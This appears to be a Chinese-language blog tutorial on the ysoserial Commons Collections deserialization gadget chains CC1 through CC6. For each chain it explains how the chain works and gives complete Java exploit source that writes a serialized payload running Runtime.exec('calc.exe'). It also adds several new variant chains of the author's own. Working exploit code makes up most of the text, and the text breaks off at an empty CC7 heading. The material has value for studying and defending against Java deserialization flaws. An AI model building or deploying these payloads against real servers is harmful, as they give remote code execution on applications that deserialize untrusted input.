ysoserial-CommonsCollections系列总结篇
前言：
网上分析CommonsCollections调用链的文章也有不少，但是看完分析文章直接手动构造利用链仍有难度，因此这篇文章主要总结本人调试ysoserial的CommonsCollections系列利用链的思考和体会，通过这篇文章希望大家能够了解CommonsCollections不同链之间的共性和区别，能够在看完gadget后可以手动构造利用链，本文主要内容包括以下几点：
- 1.每条反序列化利用链的构成特点
- 2.每条链不同类之间衔接的特点及要点
- 3.对比不同利用链之间的区别以及相似点
- 4.自己如何根据链接点的特性来构造反序列化exp
- 5.如何混合搭配链接点从而形成一条新的gadget利用链(例如cc5、cc6、cc7分别扩展2条、2条、1条)
CommonsCollections1
反序列化调用链如下所示：
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Runtime.getRuntime()
Runtime.exec()
对于cc1(以下cc即代表commonscollections)来说最外层的Annotationinvocationhandler相当于只是一个容器作用，将动态代理proxy放到其this.memberValues成员方法中去，其中invocationhandler又是一个Annotationinvocationhandler，然后在其readobject方法中就会调用this.memberValues.entryset,从而触发动态代理，从而进入动态代理的invoke函数代码块
因此invoke函数中调用this.memberValues.get即调用lazymap.get，从而到了this.factory.transform()，接下来内部是chainedTransformer+constantTransformer+3层invokeTransformer，因为get的参数是不存在的entryset，所以需要constantTransformer先返回一个Runtime类再通过3个invokeTransformer联合起来反射rce执行命令。
CommonsCollections1.java：
package CommonsCollections1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.Runtime;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
public class exp {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
final Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),//拿到Method getruntime方法
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),//拿到Runtime类实例
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"})//调用exec执行命令
};
final Transformer chained = new ChainedTransformer(trans); //封装chained调用链
final Map innerMap = new HashMap();
final Map outMap = LazyMap.decorate(innerMap,chained); //封装lazymap
final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
han_con.setAccessible(true);
InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap); //将lazymap放进membervalues，从而在membervalues.get变为laymap.get
final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han); //为lazymap设置动态代理，从而到达handler的invoke
//将proxy代理放进外层的AnnotationInvocationHandler，从而membervalues.entryset触发动态代理
final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
out_con.setAccessible(true);
InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy);
FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser"));
ObjectOutputStream obj = new ObjectOutputStream(fo);
obj.writeObject(out);
obj.close();
}
}
CommonsCollections2
反序列化调用链如下所示：
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingConparator()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTranformer()
Method.invoke()
Runtime.exec()
cc2的利用PriorityQueue队列键值反序列化后进行key值比较，可以自定义比较器comparator，因此利用commonscollections4里面的TransformingComparator，在该类的compare函数中又会调用this.transformer.transform来对key进行转换，因为key是从外面直接传进来的，即可控的，这里key其实是一个templatesimpl的实例。
在打fastjson1.2.24中就用到了jdk的templatesimpl这个内置类，在其_bytecodes字段中放入恶意类的字节码，将在调用其getTransletInstance中进行实例化，所以这里只需要一个invoketransformer即可，直接反射执行调用templatesImpl的newTransformer或者getoutputProperties来实例化templates的_bytecodes字段中的类进行rce
CommonsCollections2.java：
package CommonCollections2;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class exp {
public static void main(String[] args) throws ClassNotFoundException, NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException {
//封装恶意的templatesImpl实例
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass clazz = pool.get(payload.class.getName());
final byte[] clazzByte = clazz.toBytecode();
//_bytecode为private，需要在其中放入rce的payload类的字节码
Field _btcode = TemplatesImpl.class.getDeclaredField("_bytecodes");
_btcode.setAccessible(true);
_btcode.set(tmp,new byte[][]{clazzByte});
//_name不为空即可
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmp,"tr1ple");
//_tfactory可为空，不设置也可以
Field _tf = TemplatesImpl.class.getDeclaredField("_tfactory");
_tf.setAccessible(true);
_tf.set(tmp,null);
//构造priorityqueue实例
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
//InvokerTransformer trans = new InvokerTransformer("getOutputProperties",new Class[0],new Object[0]); //调用该方法一样的效果
//依赖collections4
TransformingComparator com = new TransformingComparator(trans);
//自定义comparator
Field ComFi = PriorityQueue.class.getDeclaredField("comparator");
ComFi.setAccessible(true);
ComFi.set(queue,com);
Field qu = PriorityQueue.class.getDeclaredField("queue");
qu.setAccessible(true);
Object[] objOutput = (Object[])qu.get(queue);
objOutput[0] = tmp; //将templasImpl实例放入队列，从而进一步传入invokertransform的transform函数
objOutput[1] = 1;
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser");
OutputStream out = new FileOutputStream(file);
ObjectOutputStream obj = new ObjectOutputStream(out);
obj.writeObject(queue);
obj.close();
}
}
payload.java
package CommonCollections3;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class payload extends AbstractTranslet {
//将命令写在static代码块或者构造函数中都可以
{
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
public payload(){
System.out.println("tr1ple 2333");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
CommonsCollections3
反序列化调用链如下所示：
AnnotationInvocationHandler.readObject()
Proxy(LazyMap).extrySet()
LazyMap.get()
ChainedTransformer.transform()
constantTransformer(TrAXFilter.class)
InstantiateTransformer.transform()
Constructor.newInstance()
TemplatesImpl.newTransformer()
(payload实例化)rce->calc.exe
cc3从外层和cc1一样都是从AnnotationInvocationHandler的readObject进入，不同点是内部引入了新的InstantiateTransformer类，该类的transformer有个特点即可以通过newInstance方法实例化入口的key
那么因为AnnotationInvocationHandler+lazymap.get不存在的key导致key不可控，因此只需要chainedTransformer第一个transfomer为constanttransformer即可，这里用到了类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter，该类有个特点即如下图所示其构造函数中调用了templates.newTransformer()函数。
CommonsCollections3.java:
package CommonCollections3;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
//@Dependencies({"commons-collections:commons-collections:3.1"})
public class exp {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, NotFoundException, IOException, CannotCompileException {
//构造TemplatesImpl实例
TemplatesImpl tmp = new TemplatesImpl();
//封装TemplatesImpl实例
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay = pool.get(payload.class.getName());
byte[] PayCode = pay.toBytecode();
Class clazz;
clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field tf = clazz.getDeclaredField("_bytecodes");
tf.setAccessible(true);
tf.set(tmp,new byte[][]{PayCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
HashMap InnerMap = new HashMap();
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp} //将TemplasImpl的实例放进参数值位置，从而调用newInstance实例化传入
)
};
//封装chained和lazymap
ChainedTransformer chined = new ChainedTransformer(trans);
Map outmap = LazyMap.decorate(InnerMap,chined);
//接下来的构造与commonscollection1相同
final Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
con.setAccessible(true);
InvocationHandler han = (InvocationHandler)con.newInstance(Override.class,outmap);
Map proxy = (Map) Proxy.newProxyInstance(exp.class.getClassLoader(),outmap.getClass().getInterfaces(),han);
final Constructor out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
out_con.setAccessible(true);
InvocationHandler out_han = (InvocationHandler) out_con.newInstance(Override.class,proxy);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
FileOutputStream fo = new FileOutputStream(file);
ObjectOutputStream ObjOut = new ObjectOutputStream(fo);
ObjOut.writeObject(out_han);
}
}
CommonsCollections4
反序列化调用链如下所示：
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingConparator()
ChainedTransformer.transform()
InstantiateTransformer.transform()
(TrAXFilter)Constructor.newInstance()
templatesImpl.newTranformer()
Method.invoke()
Runtime.exec()
因为cc3引入了InstantiateTransformer类来对cc1做了个变形，那么同理，该类对于cc2也能做同样的变型来形成一条新的链，所以cc4相对于cc2来说并没有将templatesImpl类的实例直接放入队列，而是和cc3一样，利用chained转换链+一个constantTranformer返回TrAXFilter类
从而第二次transform的时候即调用该类的newInstance实例化，而实例化的参数因为也是可控的，因此在参数位置放入templateImpl实例
CommonsCollections4.java
package CommonsCollections4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.ComparableComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class exp {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException {
//封装templasImpl实例
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload字节码
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp}) //将TemplatesImpl实例放进参数值位置，与cc3原理一样，便于在构造函数中触发newTransformer
};
//封装chained转换链
ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
//封装外层的队列
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
ObjectOutputStream obj_out = new ObjectOutputStream(new FileOutputStream(file));
obj_out.writeObject(queue);
}
}
CommonsCollections5
反序列化调用链如下所示：
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
cc5这条链相对于前四条来说外部的入口点变了，但是内部还是没变，依然是通过lazymap.get，那么后面就可以跟cc1的调用一样，直接通过1层constantTransformer和3层invokerTransformer结合来rce，那么相当于外面的衣服换了，里面的衣服没换
Commonscollections5衍生1 ：想想cc3的构造，对于cc1而言，和cc5相比正好相反，所以将cc3的链接点放到cc5，从而就可以衍生出第一条新的利用链
Commonscollections5衍生2 ：因为TiedMapEntry键对应的值是可控的，因此第一次传入this.factory.transform的key也是可控的，因此根据cc2的特点，直接在外部放入templatesImpl类的实例，然后结合invokeTransformer调用该类的newTransformer或者getoutputProperties又衍生出第二条新的利用链
CommonsCollections5.java(原版exp):
package CommonsCollections5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
//构造内部的constant+invoke转换链
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
//封装chained转换链
ChainedTransformer chian = new ChainedTransformer(trans);
//封装lazymap
HashMap map = new HashMap();
Map innerMap = LazyMap.decorate(map,chian);
//构造外部的触发链触发varobj.tostring到达lazymap.get
TiedMapEntry entry = new TiedMapEntry(innerMap, "tr1ple");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val,entry); //将TiedMapEntry实例放进val属性，从而在反序列化还原后最终调用this.map.get
//序列化
File file;
file =new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
obj.writeObject(val);
}
}
CommonsCollections5-1.java:（根据cc1特点生成的衍生版1）
package CommonsCollections5;
import CommonsCollections4.payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class exp1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, NotFoundException, CannotCompileException, ClassNotFoundException {
//封装TemplatesImpl实例
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload类
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
//构造内部的转换链，与原版cc5不同的是此时constanTransformer返回不再是Runtime.class
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp}
)
};
//封装chained转换链
ChainedTransformer chian = new ChainedTransformer(trans);
HashMap map = new HashMap();
Map innerMap = LazyMap.decorate(map,chian);
//构造外部的触发点
TiedMapEntry entry = new TiedMapEntry(innerMap, "tr1ple");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val,entry);
//序列化
File file;
file =new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
obj.writeObject(val);
}
}
CommonsCollections5-2.java：（根据cc2特点生成的衍生版2）
package CommonsCollections5;
import CommonsCollections4.payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class exp2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, CannotCompileException, NotFoundException {
//封装Templates实例
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload字节码
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
//只需要一次invoke反射调用即可
InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
HashMap map = new HashMap();
Map innerMap = LazyMap.decorate(map,trans);
//构造外部的触发链,将构造的TemplateImpl实例放入
TiedMapEntry entry = new TiedMapEntry(innerMap, tmp);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val,entry);
//序列化
File file;
file =new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5-2.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
obj.writeObject(val);
}
}
CommonsCollections6
反序列化调用链如下所示：
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
cc6外部也是采用了新的hashset来触发其readObject()，而hashset对象的插入是根据它的hashcode，并且hashset内用HashMap对它的内部对象进行排序，那么反序列化后恢复元素的过程中，将再次计算key的hashcode，而TiedMapEntry有趣的一点是它的hashCode函数中将调用该类的getvalue函数，而我们在分析完cc5之后知道getvalue函数中将调用this.map.get(this.key)，所以此时后半部调用链和cc5又是一模一样了，接着就是lazymap.get干的事，cc6中用的是也是一层contantTransform+3层invokeTranform。
Commonscollections6衍生1: 因为这里key值也是可控的，因此cc6同时也可以进行换装了，即根据cc3的特点结合一层ConstantTransformer+一层invokertransformer，利用链的上半部分不变，只变下半部分的chained即可生成第一条衍生版的cc6
Commonscollections6衍生2: 第二种显然与cc5的衍生也是一样的，因为最终进入第一层transformer的key可控，因此根据cc2的特点结合一层invokeTransformer反射即可形成cc6的第二条衍生链
CommonsCollections6.java(原版exp):
package CommonsCollections6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.lang.Class;
import java.lang.Runtime;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException {
//构造内部转换链
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},new Object[]{"calc.exe"}
)
};
ChainedTransformer chain = new ChainedTransformer(trans);
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple2333");
innerMap.clear();
//构造外部入口链
HashSet newSet = new HashSet(1);
newSet.add("tr1ple");
Field innerSetMap = HashSet.class.getDeclaredField("map");
innerSetMap.setAccessible(true);
//修改hashset内部的hashmap存储
HashMap setMap = (HashMap)innerSetMap.get(newSet);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
//拿到存储的数据
Object[] obj = (Object[])table.get(setMap);
Object node = obj[0];
System.out.println(node.getClass().getName());
Method[] methods = node.getClass().getMethods();
for(int i=0;i<methods.length;i++){
System.out.println(methods[i].getName());
}
//拿到此时存到hashset中的node节点，key为要修改的点，这里需要修改它为真正的payload，即Tiedmapentry
System.out.println(node.toString());
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,entry);
//hashset的hashmap中的node节点修改完值以后放进hashset
Field finalMap = newSet.getClass().getDeclaredField("map");
finalMap.setAccessible(true);
finalMap.set(newSet,setMap);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file));
objOut.writeObject(newSet);
}
}
CommonsCollections6-1(根据cc3特点生成的衍生版1).java
package CommonsCollections6;
import CommonsCollections4.payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.lang.reflect.Method;
import java.lang.Class;
import java.lang.Runtime;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class exp1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException, NotFoundException, CannotCompileException {
//封装templatesImpl实例
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload字节码
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
//构造内部转换链
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp}
)
};
//封装chained转换链
ChainedTransformer chain = new ChainedTransformer(trans);
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple2333");
//innerMap.clear();
//构造外部入口链
HashSet newSet = new HashSet(1);
newSet.add("tr1ple");
//反射替换hashset内部的node元素
Field innerSetMap = HashSet.class.getDeclaredField("map");
innerSetMap.setAccessible(true);
//修改hashset内部的hashmap存储
HashMap setMap = (HashMap)innerSetMap.get(newSet);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
//拿到node节点存储的数据
Object[] obj = (Object[])table.get(setMap);
Object node = obj[0];
System.out.println(node.getClass().getName());
//Method[] methods = node.getClass().getMethods();
//拿到此时存到hashset中的node节点，key为要修改的点，这里需要修改它为真正的payload，即Tiedmapentry
System.out.println(node.toString());
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,entry);
//hashset的hashmap中的node节点修改完值以后放进hashset
Field finalMap = newSet.getClass().getDeclaredField("map");
finalMap.setAccessible(true);
finalMap.set(newSet,setMap);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file));
objOut.writeObject(newSet);
}
}
CommonsCollections6-2.java:(根据cc2特点生成的衍生版2)
package CommonsCollections6;
import CommonsCollections4.payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.lang.Class;
import java.lang.Runtime;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class exp2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException, CannotCompileException, NotFoundException {
//封装TemplateImpl类
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload字节码
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
//封装一层Transformer
InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
////InvokerTransformer trans = new InvokerTransformer("getOutputProperties",new Class[0],new Object[0]);
//将templatesImpl实例放进TiedmapEntry外层作为key
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, trans);
TiedMapEntry entry = new TiedMapEntry(lazyMap, tmp);
innerMap.clear();
//构造外部入口点
HashSet newSet = new HashSet(1);
newSet.add("tr1ple");
Field innerSetMap = HashSet.class.getDeclaredField("map");
innerSetMap.setAccessible(true);
//修改hashset内部的hashmap存储
HashMap setMap = (HashMap)innerSetMap.get(newSet);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
//拿到存储的数据
Object[] obj = (Object[])table.get(setMap);
Object node = obj[0];
System.out.println(node.getClass().getName());
//拿到此时存到hashset中的node节点，key为要修改的点，这里需要修改它为真正的payload，即Tiedmapentry
System.out.println(node.toString());
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,entry);
//hashset的hashmap中的node节点修改完值以后放进hashset
Field finalMap = newSet.getClass().getDeclaredField("map");
finalMap.setAccessible(true);
finalMap.set(newSet,setMap);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6-2.ser");
ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file));
objOut.writeObject(newSet);
}
}
CommonsCollections7
反序列化调用链如下所示：
